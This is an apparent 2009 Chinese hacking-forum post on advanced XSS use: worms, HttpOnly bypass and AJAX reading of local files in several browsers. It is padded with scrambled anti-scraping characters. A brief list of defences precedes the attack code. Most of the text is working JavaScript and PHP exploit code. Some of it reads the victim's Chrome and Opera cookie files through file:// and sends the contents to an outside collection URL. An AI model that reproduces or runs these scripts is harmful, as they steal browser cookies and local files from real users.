XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页) K5 Z; d$ W# ]
本帖最后由 racle 于 2009-5-30 09:19 编辑 ! x+ Q5 f5 y+ I
+ S, c b) Y/ r" Q, ?5 [% \/ ?: A+ a* YXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# K; y6 b! D+ G; |% X {8 HBy racle@tian6.com " K# D6 Q. O! C- {: l" G# x
http://bbs.tian6.com/thread-12711-1-1.html+ D5 N6 Y& V' T" v8 R% L
转帖请保留版权& i, x" D9 L3 `
0 T4 Z0 H1 g$ Z) \4 z. \
: z4 S1 Z1 F0 n6 l0 x ?2 a* \. p$ e) K+ F
-------------------------------------------前言---------------------------------------------------------
4 d6 n" R- w* S* @/ G& z9 x( t g
* x$ h% b7 \- E
" C4 T9 ^- H# l- l本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
4 H& w% t3 w, m: Y4 ?0 }
; [- X1 m, R. P) U$ O. m6 h7 r# c R. y
如果你还未具备基础XSS知识,以下几个文章建议拜读:4 }, o- K8 B; B F. ?/ P
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
8 Q; j- y$ @! v9 U1 v- qhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全- \( j: M2 y5 G0 r$ ?, M* V9 f
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
. R, w) ?* T! ?1 Y; qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
) b0 ~( i/ r3 q6 C+ a" h( l* C$ L& Dhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
6 }0 u) ]% q( W2 G/ Dhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持2 P; X! k8 V z+ Y8 I s
- g) P- g4 t# \* M9 ?) H% x7 v- N9 c- i- D2 t* I, L/ N+ i' z! _
# E0 w4 t; u& W+ D" f; S0 P5 t- \% O, P
( c: q" p' X& Y0 ?" f
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
) B. L" [, |* ]) Y# I
/ t* T5 Q# P1 U% T% J! r+ B9 k希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
* ^6 \( o1 _ f# E! _9 F b" H4 I6 D, ^5 q
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,4 v7 x/ A' ~# N y% r
, u; p3 w Z- I3 {2 d. C9 SBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大1 R% Y) E [9 j5 n& T: Y
$ ?& e c# ]* K( ^. f( CQQ ZONE,校内网XSS 感染过万QQ ZONE.1 l% {& d3 J( [( a% x9 O& P
6 l, a |$ s) X- v- _2 Q7 O
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪3 s" F: ?9 r0 D% V/ S
6 o% c& [+ \" m% G2 R q, _% j
..........* u C" Z/ M5 ~5 }5 L7 X
复制代码------------------------------------------介绍-------------------------------------------------------------
; Q# j S! q* Q3 O6 t+ i. V% _3 n' p" _) _2 Y
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
3 H% Q7 g3 `" j: C! ?; q' X% v5 C, ^2 @+ g
1 o' D' N0 _" h8 K6 z4 a/ i: H( X8 r1 V0 m0 U6 {
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.0 c* Y: c) [ e7 s4 G& p, e7 N8 @
# V. @$ _0 k9 F) k
8 f7 Z# m& A1 _4 w" d8 t# s
$ W( n; W$ X* h) |( y0 t S2 s/ }如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.( Q& ]+ e Y/ X9 ]
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
' F( Z' L+ G# U1 v& j' x9 l/ }我们在这里重点探讨以下几个问题:
) S- U- t( q1 Z) c& m6 p) E) c9 ~ m$ j* m: R- a
1 通过XSS,我们能实现什么?$ q$ H( ]4 W* W- A$ f4 ?4 u
! S4 t/ { b; L
2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
# f/ u+ ^. ?7 Z$ o3 ~1 f% b. i* V( E$ }5 B
3 XSS的高级利用和高级综合型XSS蠕虫的可行性?6 w/ X8 V. |7 H% u Z
: C& l7 u1 J+ b$ a5 r3 T4 XSS漏洞在输出和输入两个方面怎么才能避免.8 d6 M9 V X* [
& o9 a& E+ t( C% E$ G
* W# D4 Z+ b+ e1 p
# E. a8 U. j6 N/ L! g------------------------------------------研究正题----------------------------------------------------------9 z* v: R S# S j; r- _+ [$ S
0 E4 F% \- L: C+ I' r8 O+ R2 X
3 y4 n4 U9 x. P$ E' z1 T; K c* h1 b2 m通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
" g' X! T9 t; a$ a; C% M复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
) M t8 q, n7 X. S- E) {- X复制代码XSS漏洞在输出和输入两个方面怎么才能避免.7 s$ }6 V% e Z; Q) y( Z
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则., k8 I/ n! G; c b# B+ z
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
8 Z9 O# Z# g7 D* J9 L$ \ l! C& |! e3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.2 S* P2 o6 z' }" i% T; s; ^
4:Http-only可以采用作为COOKIES保护方式之一.
9 n2 Z: N" }/ B+ b; [/ Y& P. N( t5 S" ~) N2 H5 [$ n
) \6 q! R# Q4 n! X0 j# b3 r5 k
4 ]+ c G5 Y6 D: i% B9 c6 @ f3 G# w* A+ g7 J' c$ K
' V5 f5 |6 T0 O9 L7 X. i3 e, V* L
(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)- N8 s l ]$ C7 m
; {' [8 O3 T. o6 ^; h
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
/ J% S: B# V4 U" n" e6 {; [# o+ n' H
( r. X1 A) P6 }8 F3 s9 V0 P, S6 L3 u: B- y b" [
2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。8 u6 j0 ?" u, q$ l
7 y3 U8 U7 B2 ^# H) l5 X- Y# Q
& v, U3 d* w( W* O& v& c: k! K9 P3 ^- c! D1 T# ?- Q
3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。9 ^" N# z' t* D: T8 o, a) y
0 B7 r1 E& W( y! p' {/ N+ V# a
* g9 r6 s8 N7 S# s
/ o( Y0 K% g. b9 u0 ]& g' W3 T 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.& T) e9 g1 z: p
复制代码IE6使用ajax读取本地文件 <script>
% `. I: w1 N, S1 s
4 \4 O$ }! M1 }, `7 a" w7 J function $(x){return document.getElementById(x)}
@/ n6 X" [3 |3 J/ o7 G' {. D' d/ F5 o0 W
1 N. n5 g5 M, w) E9 X
( |+ ]6 s7 v$ s0 W
function ajax_obj(){1 L* m4 t* W2 g6 |/ x3 z% D
8 x2 p$ Y& k& i. i4 C1 S3 a9 I var request = false;! c! Z' o) y2 V% S* g- Q
/ a# V( g5 n7 a/ ^6 f. P
if(window.XMLHttpRequest) {
% b$ H. C7 g; [+ o
4 ?+ Q, U+ c3 Y) A5 {0 h- g- w5 N# W request = new XMLHttpRequest();
4 h3 p7 _8 |. }1 X# b' U
! S6 u4 V# S3 T7 r# i } else if(window.ActiveXObject) {
- V5 x8 r& J& _, D6 I Z
# q0 s% x! {; \8 y9 Y7 A var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',0 `& Y$ N* u+ x- _9 e+ E
4 S. u6 F% o: d7 D$ r; l! n
# m( w" ]% I( L7 K: P9 T2 M& P
9 `2 @5 {+ D5 [7 l2 l. _! f 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];4 M z' j/ ?6 E1 K L/ U% R
, |+ a- y c" P% ]
for(var i=0; i<versions.length; i++) {, s$ ^3 V- s* i6 O
! }% b8 G% l# ` try {8 b) k, |' d7 k
2 I' [1 O- N H" _
request = new ActiveXObject(versions);
' T# W) a; w' q- X7 B1 v
1 X! ]* h: B' q } catch(e) {}
?' n. g X# i' }
* U1 q; z9 H: \- ^ }
+ [7 _* U5 }9 t; H, K4 p& _- E5 N4 M
}
9 ?- P3 G# S- R( ?: ?2 j- ^. Y# l" R2 J3 K5 ^2 A; J+ P! Y2 n
return request;
# _: t" Z: k- y0 _# Y: Q( [
4 j/ m- N' X8 ]* o } c9 h' ]7 x3 V( f. e8 g1 l
- i% G! g* C/ m, m% J! d
var _x = ajax_obj();
# M/ W0 q! P+ `9 ^3 K
/ `0 ^# a; j) @; O i. M5 r3 {3 m function _7or3(_m,action,argv){) ~4 C+ _! A/ {
( F; {: ?9 {4 M; p) w! a4 F; p
_x.open(_m,action,false);
0 t* i1 b* f3 p* G' U) o% b: _, }9 ]/ k( e7 P# k
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
( b$ v. T" b& k7 _# @/ g! f. ~+ E
1 X- f+ n) L7 K9 ^& y _x.send(argv);* I& Z* Z% z: K! P, X w v
! r3 \# d& H2 x# p# I8 ]2 a& v return _x.responseText;
7 G: F) @5 D o8 N7 E v1 Q9 E) t1 G! \0 W+ \& ^# p
}
! R @: [: L. \
8 Y! D& i+ T( o0 O% \. y# }: r: Y& I* e& p8 b
9 M' n( U8 |' G' Q0 \ var txt=_7or3("GET","file://localhost/C:/11.txt",null);
: o( B, f. S7 L, @" y8 @$ P2 W& `$ |0 o6 D
alert(txt);' w' _$ f( R) ^! s
+ d% P2 }' T8 t8 j4 o" p/ K! s+ B/ U. ?
$ s. o+ \' o1 s
</script> Y- K# [, N+ O3 B% b
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>4 t9 W+ B6 n% ~9 S8 P! N
" Y; ?) r" r) P- H0 o9 |. `2 n function $(x){return document.getElementById(x)}
4 ]7 j* T6 a! b7 Y0 a! }% \/ g0 k4 ~5 s) g1 O' h
* F8 p/ Q ^: O: [9 c0 A5 L+ ~/ g: V
function ajax_obj(){- S& T: z* |7 ^4 y$ N1 z/ b
0 h7 C, @8 ]7 @$ H9 \, V
var request = false;8 e+ t9 @1 ]; B& \
- V& g% j" f q8 e, K9 v if(window.XMLHttpRequest) {0 _6 S" b8 p, q5 |, N2 W
d- C1 ?# S/ P$ {7 b4 D
request = new XMLHttpRequest();
5 n, Y" Z$ \' y# V0 Y) e8 Q) i6 T/ M
} else if(window.ActiveXObject) {& ~- x, R; n& q: X1 u
, X" f Q/ v4 x3 l# e6 Q2 b
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
& A3 L- V! i5 I# Q: D+ ?) E0 @0 Q9 \( _; o2 g
" c3 k! q, T9 R. k
* T9 ~/ u1 H0 ?' C0 r& l 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];+ `' }) q" K; K' C' }3 C9 k
( f' _- x# K( _& } for(var i=0; i<versions.length; i++) {
# G( ]' v& n9 @0 q: x
5 ?% I: m6 E8 |3 ?- n: i9 e4 W try {3 n, M8 t$ [2 k+ z5 ^9 D
. B7 k5 |9 S2 O) F2 e# M' k7 T) R5 N- |: b request = new ActiveXObject(versions);
, Z, o; N. ^4 `4 J% p" R. N% N S2 j# A" Y& C0 ~
} catch(e) {}
& e4 V2 `. `, |2 @6 W& J1 B! A1 P( Z, d' h3 |2 J
}
4 V( ^. [% j" l. f; P
; k4 W' h* q n% J3 y2 S }
$ ]/ {9 A1 G- s, N$ ^
% }# m4 ~+ d$ _" _ return request;
7 S; k- M* N. D3 l5 q" n2 `9 S" }. t( h. `! d! S: |
}
+ v+ z( K- h$ U) Q9 v8 E! _3 E. j! |8 U6 `4 M& W b
var _x = ajax_obj();
) V5 n( S5 b$ i4 ?6 r
; I1 ~- J$ k: R$ h; i+ ?0 M% ^0 Q function _7or3(_m,action,argv){1 e. x& L2 O8 o/ ^; f# ^
/ L3 ?& u* j9 c Y _x.open(_m,action,false);( Z+ y0 q; o" F, e1 U: f
& R$ h1 i/ G% W# D6 \% K% S. z7 j
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 e, e: ? k# G; U
( Y1 J; w8 H" ?% M! r _x.send(argv);
' l- J( u' v/ w, W7 c% r( O+ y* ~. c
return _x.responseText;8 N/ o# ?" Q( j' @/ B
9 k& B$ E1 [: x! o5 Y1 t( E
}; y) {! @( R% H( t! L5 R
. X* s4 x+ }" h4 x
. v8 s( k" x) |( j4 s* j! q8 L
# j! b0 I- w# S7 M2 f( U
var txt=_7or3("GET","1/11.txt",null);4 z3 e# R, U7 `/ |9 ?. _5 {
# v, B( B/ u/ I
alert(txt);+ V% r0 k* V8 I( I
. E% w! V/ n( N) v5 V
. D: o, R, l! U) @* f, ^/ O- u4 @9 `5 b6 j: z& a3 q; ]4 L, f5 }* h
</script>' u/ X9 o k. r4 a- e
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
0 L$ `- g2 ^4 x8 P2 K( t: H5 w/ j5 u6 M, M9 X8 E
5 o- M; U' X3 d3 ?/ i
. N" J2 }6 |" L# n) }( @# ]Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"# _% \8 Z+ B* w3 [ V' k- \
; c% C8 i( G ^- v7 C: B4 k9 c* A- h) y2 \3 r, L$ n' L
% }+ A( K% a: x' L/ u. X* Q3 @
<? $ L; U+ l/ B i+ M7 a9 n% Z
! I" [& i, y4 ?- V; y6 C( N0 v
/* 0 F7 C6 m8 _7 ~8 @- F
1 n$ x9 y/ I l1 E+ _! x Chrome 1.0.154.53 use ajax read local txt file and upload exp
- A" z! ^* Y7 F' ?3 w ?3 w [" n. n
www.inbreak.net : _; I" B1 d5 J, u( i
# X1 ?1 b N; B8 w( K" C: F author voidloafer@gmail.com 2009-4-22
- g( t" m* c0 [( z- T6 F) h( o2 H4 ?
http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
1 L; W/ R# j* R6 [% Z/ D: i2 x
9 A' H; h+ d& E2 ]*/
9 U9 U; n; |9 ]0 U
6 \* r3 a% }& _" q3 nheader("Content-Disposition: attachment;filename=kxlzx.htm"); @# E6 F& y4 o- e# s* N
$ S% F! _. f6 P8 V
header("Content-type: application/kxlzx"); 2 j4 R# V: T5 X$ K- b
, `- o4 J+ L4 T8 t
/*
5 D; F b% o) }5 T6 ^
, C+ N6 Y7 q; o" G5 y- ~ set header, so just download html file,and open it at local.
9 A) n3 W X& E U, h3 [8 w8 y3 ^! V/ M( A( p! m& c6 Y. b1 t
*/
- @, ]7 @& v: w- R7 E
; C( e. ~/ E# o7 X/ |$ N?>
+ G: a5 z6 H1 D. m9 c0 w: m% x6 u
/ }9 n* u, l$ C) m<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> " K/ ~4 w4 Q+ a8 J; D1 d1 i: X
8 z' W5 s: ~6 y; J <input id="input" name="cookie" value="" type="hidden">
! f7 ?5 m8 |- \4 P: V2 R U8 Q) q, V, d/ t# H/ W! M1 H8 d
</form> * i" `9 P+ }& V( s# C- Q
7 y9 d$ ]* R# G; V: \
<script>
/ V4 [9 X" C" N E% l4 }
1 G2 U+ L; T* M" F4 I3 j8 kfunction doMyAjax(user) , Q2 x% N9 x# ~0 i. A
3 n- L$ V8 X0 E6 V6 f) b{
0 p, t" r, v4 p# W% l2 @' E5 Y! D) U7 R3 e" \/ c
var time = Math.random(); ! s& D2 f6 }( r4 r
9 i- Z, [" `" ]4 x4 f) [/ s/* . l# ~5 y# X( U& m1 l
' s0 }" f* s1 O/ d' ~2 T5 q$ ~
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 1 e: ? M6 J! E; H
`. @& _4 v$ m( }and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 8 h4 m! h/ }5 p' B- J+ ^
: {! ~& ~: N+ N( E* p
and so on...
& N: t4 _3 e% p% q6 u+ s9 Z2 u* D3 X2 z3 ^7 T' ^2 C, V
*/ # V' d x+ W) ^. b
3 v6 S0 _; _: d2 i
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 0 X) M# h' ~! c5 e8 V& Q- l6 \" _
* x, i; j/ {- ~; f
. M* s8 ~1 v/ X/ C
3 C' z4 x- `- X: M. X4 FstartRequest(strPer); $ t9 s2 m4 l. z) s5 L/ G7 R% G
9 @7 j( V8 {/ o7 v, H1 ?# r
$ e4 R2 |+ X6 d2 J: R$ o/ S
$ H) o5 {4 n/ \+ Z$ {# i
} 8 H6 i, @4 V/ E" t
5 Y" s ~/ q( @( }# G# C
% Y9 B: U1 H& Q! X- P& g, U$ h! a1 X
. |. H+ i9 b& ofunction Enshellcode(txt) # `' o& G& v3 }7 p3 m
( Z7 L/ v4 b2 F, o8 y+ f! a{
2 ~7 ?2 k9 V3 V: D0 T* H
& f) C; @0 b5 q: H) e# B( Qvar url=new String(txt); 0 l- ?" K( I' O& A- W( m: L
1 i2 z5 X+ l* r
var i=0,l=0,k=0,curl="";
U' a, h4 a/ q) c" C/ o2 }' T/ R; i0 ?! W" i8 j% Y) ]3 B
l= url.length; : @) t. l+ d# A, F6 r# j
3 \9 h: p: v# j2 A+ ^1 Ufor(;i<l;i++){ 8 T/ F) v' W. `% S- r! M# u
% J4 p& y: |7 d! O+ N. u* i
k=url.charCodeAt(i);
! L: ~2 b# f1 L+ h6 _# b0 z3 s
- U( W9 m. J5 A# w& rif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} $ W6 x* M# F3 P& j5 c; @
, K. ?! _7 q& y0 H$ K3 ~. u$ B% A/ _if (l%2){curl+="00";}else{curl+="0000";}
1 e$ p+ K* o. V. i, r2 M3 O! ~+ B! A- \/ Z/ l& p
curl=curl.replace(/(..)(..)/g,"%u$2$1"); 4 J, v; E7 U$ L6 [, ^! A
& \: O5 i& a- Z- V* u" j
return curl; 7 i+ k! H5 P& ^6 H( o& M
, p% s6 n% m: r: B$ K- o
}
5 j( R, X+ a1 D. g; ?; I {7 X/ b% l2 q1 i4 l8 _
) Z$ B" c/ Q) @4 \6 }0 {
2 x, }% L1 R+ F5 X- Z% ~/ ~
! r9 A' h+ c9 |+ e+ _
7 Z$ X. F; Y2 @5 c# G& n5 ?, qvar xmlHttp; 7 y/ j7 a4 _3 N1 v3 J; c3 ` n
& G7 N6 ]5 N4 e
function createXMLHttp(){ 1 ], f( Q7 y D, }
9 j. L) z: p# f& c3 w9 ]& @ if(window.XMLHttpRequest){
. }; F' }- l+ A9 p4 |
: n8 | [" t0 B6 ]! F! R4 E9 TxmlHttp = new XMLHttpRequest(); & o+ _# ]+ f+ }' {0 ^$ v
9 j* r. F8 o2 Q' Q( T0 d) `7 z }
0 f( b% I! g. I0 U7 U$ V6 c9 n8 `9 C' p8 A4 r3 F0 x
else if(window.ActiveXObject){
2 Y0 f, y* L- S0 e5 O
! ^; j# j# m% a2 ~. N- l& u3 XxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 o+ c* O$ j8 |& v. V" S
! S+ Z7 d! x% f0 g l- o } 9 q+ u) p8 a! W5 j' {4 l/ ]/ Z
: ]4 Q- C8 d7 B) o
} & k) b$ Y% _9 Z- Q3 d
- ] z" z' C8 y
& B5 ~' N1 c4 ~& f) ]
5 M3 z4 N% j. B: v. Bfunction startRequest(doUrl){
0 X$ h; a% k! K; \9 y6 ]# b( A# M ?- U9 }! n% Q( D2 ?
' S& g% o6 ~/ N+ m; o/ c0 K% k3 ?
6 y+ t- j0 ~* N' z9 m+ r createXMLHttp();
/ @8 D3 F( v" G* k4 n# } V( }' M0 w) t
7 p' G/ E6 q/ c2 L$ `2 r( [6 c+ ~& ^
0 ?) H _) s& Y1 W1 }1 c0 |
xmlHttp.onreadystatechange = handleStateChange; . Y1 k2 L4 B, e; e
1 x4 M" v* \# W \# X @& g7 j! k' S( @6 D/ d
# n" u! Z, G ]; _/ `
xmlHttp.open("GET", doUrl, true); * \% R- q7 n& d( i
; U2 W5 ?7 y m) A, t! r; ]
( o, U% }2 j7 L: Q1 X/ G f" ^( V
xmlHttp.send(null); # p# N3 _3 {' e5 a% y/ H
7 @: t' |9 B1 K# L* z* [4 Z" W! Y6 ]
; x1 Z2 r& ^% d- i" h e, V) p" Y1 D- V, l8 m
$ g8 f" \: a9 q) X' n
' H r5 K8 E( v) N} 0 |/ j+ j7 s3 F- ~1 l
6 d% ~! Y( f4 S9 @
! U8 I7 B( v$ m. g2 U
2 [- ^2 j* x/ {5 @( G
function handleStateChange(){ 2 G! { }7 k: Z# @
) c0 R! [5 U+ n. I( p8 I; d+ e if (xmlHttp.readyState == 4 ){ " ~* {% |; K8 g. n& H
% u1 v7 ^ j! f4 ]
var strResponse = ""; ' O9 l/ F+ ?8 M
: F( ~' d9 o& J& w$ ^ setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); % f* o. W U. ^% ], L+ I& Z( C# W
4 s. K- U1 Q& X! T! x8 J! o0 s
r4 c( w+ ^( ~" X& H( z# v
* M' P9 s, b2 @% n1 J$ y+ k. K, q } - v4 O7 ~( X8 G1 V" O9 I% g
. u/ h) c6 A' D+ b. D6 D" U* k2 t} ; i( @- X9 s1 q* T, [: } L; @
1 L1 f& {8 T! ]" K
0 h z/ ]. q! ?+ C, l4 @
8 c8 h) d G% z 4 P# [9 L- F. {8 g
) `2 u0 ?* W' M) T7 z
function framekxlzxPost(text) ) E0 g3 {: E# ?' j4 w5 F5 D4 V0 H) K
/ r2 g( y- |2 p! L; e5 q- }
{ $ y, x3 A- a8 T2 N
) M% |! Q4 Z/ J+ y, L# z document.getElementById("input").value = Enshellcode(text);
' `- t# q+ R3 n
# }: \5 n0 K+ ~: ^* ~ document.getElementById("form").submit();
3 n; A4 {% [. e
4 ?4 Y( S* ?3 O( t2 J- n- n}
. Y- C' o( k: y' A" f% m* e( b7 f
! V8 X; {1 I/ A2 f1 z( |% {) | : v+ y& f; j* C$ L
" W+ T8 L0 \; LdoMyAjax("administrator"); ) q# @2 X* O+ U8 ] i
5 i4 l+ a5 Z3 Q y
" z7 O3 y% {& B) s! S1 G5 o
2 V5 R4 |$ j: b/ B* ?</script>
8 ~6 n! a( X4 O2 s6 ]" F复制代码opera 9.52使用ajax读取本地COOKIES文件<script> % J0 _ o% R1 k3 D& K, a1 x* z+ b9 I
2 t8 W- U$ X( {3 `
var xmlHttp;
. c) v4 D' X4 i8 E1 U6 m$ E2 Y9 r, E" T0 _
function createXMLHttp(){ ! }* m& C. U- q; e
, R* e3 ?% G& U, j7 ]* i+ e
if(window.XMLHttpRequest){
& {) b' V) R5 r6 Q
6 ?6 B/ u, I' S" f- K9 T& E/ F% q xmlHttp = new XMLHttpRequest();
9 ^, ^8 S2 H, @+ H7 F+ x3 K
. _- |4 l% v' X+ k' G* U }
8 Z( E( C+ }. I0 e1 J# Z( ]4 G# i/ V' w
else if(window.ActiveXObject){ # O2 a' Z; R8 T4 I0 |
/ X. p5 v$ Y: n/ u6 @& V
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ) b) ?! _0 ^7 q% Q0 N
' K9 f; d$ }& W0 k }
+ Y- k* E" P5 _" @, x( J7 i1 K$ _% K2 m* R
} ( T( ?- s4 T$ x$ G2 Z+ A7 j9 s
; \3 }0 a& Z! i7 O . C. m$ k+ t& B! P. w1 E' F
. N' R) L9 y( |& q5 }* Y7 Rfunction startRequest(doUrl){ - Q- g6 H9 ^ A x# J7 J. G- G
( _- L& A6 e# t/ `( [! M8 `& y2 p
I" o0 w2 g: v0 l- ~8 B/ e0 E. M1 P: s( X/ l6 ~
createXMLHttp(); 2 j( ?2 G. Q! a# t) h! U4 a+ ^
+ G- J! O; W Q5 p6 W* M - m3 R* U8 F- N
8 O' O# _. ~' ?& z, W/ a xmlHttp.onreadystatechange = handleStateChange; & A. b1 i1 R2 ?; _
7 c5 v- H9 @( s5 A, ]' H/ l5 s; L1 o
% {3 w: t# t2 T( ^" s8 x: W3 A
* X+ G6 o$ s" _- ` [, f2 W0 G xmlHttp.open("GET", doUrl, true);
0 L2 H, K2 w, L. z5 t) ~% n( u7 _, I" w% ] o9 N7 t6 M }; T
w, u- ?; G. g8 T9 o. J R
- ?$ v) |$ J1 W7 B# H xmlHttp.send(null);
7 C2 `) I$ b! p& ~9 d6 g0 o% w; H1 T ^
8 \ U" h# `! t7 O! c
0 x- j! X- Z8 @- {: q2 ]/ v2 [8 F
# c: L; J4 i' C8 x/ {
( Q9 t- R2 E6 c} . n5 _+ [+ X' n' O1 h/ }. q* q6 T
) U1 p- r6 x% V+ Q) n3 V$ l3 m
0 S K9 f0 s8 k+ R5 {8 W2 e/ Q: ^
/ G: e* N8 D1 e* n& D2 Z
function handleStateChange(){
4 R o [- p# j ~) _5 `2 k" h" t
( s' s" B3 w6 M# p0 o2 o2 ?9 \5 e1 R if (xmlHttp.readyState == 4 ){
* U2 g' j+ ^! p
1 K8 r) Y9 q* w. U+ m1 n var strResponse = "";
9 l8 R6 y0 o+ y7 \' p* Z& V1 O+ a6 n( h( u
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
$ A5 K0 V, G' I" K; g u" ?8 D9 l& T; @
6 n) r3 i9 n) f+ j: i, ]7 m+ Z$ F) o
7 w; [, I; _6 `3 Z6 b } 4 u' `3 y' [: O/ t9 H1 i
8 ], N1 P/ c& G, A! R% h" y- [# @
}
2 z* m/ L/ k- m8 y% O* E
7 I n# M7 A! Q
- X' c) T9 Y8 y+ ^$ p+ a/ L2 ~+ b) T1 D ?- v" O7 D
function doMyAjax(user,file) 0 Q. L6 E: F/ \. o# ~# E' r1 w& G
' g! f! R$ F) r- U
{
- {9 V: z H9 y3 V$ D9 _# b( u& e7 b. r0 g3 ?& j$ L# t
var time = Math.random();
6 @3 ]1 { c5 c* C
% F9 S0 K( h# I, m* Q
5 _, x1 E3 o d: k
" k& n, A4 r) e! p var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
! y% V/ W5 N: g9 l% i; f3 t! b8 P: S2 F4 B% @, Y
5 y, q w+ {3 h6 \, d" h
, v& W- }: ~/ P5 }5 d
startRequest(strPer);
3 I$ c) T: l+ r4 s4 N2 d' T1 D
" q% x9 t6 r. t( S5 d2 l0 V1 M9 [: R+ X- ^
} % B) O' i- ?! B7 \: x2 b* T- D0 J
* g, S% q$ i! o% p6 e- U4 Y, } ( D0 E/ b* J; Y& f' b' e
! \4 Z5 h* [. P0 Z. o; v# }4 ~# C# [function framekxlzxPost(text) 9 X& n0 B9 [: a `) v: V# B6 _
: f" j( C, B3 D/ `$ K{
* \+ A/ N4 ^1 k; o; v
/ w! u y1 B6 } ]5 J! N5 @! t* I document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
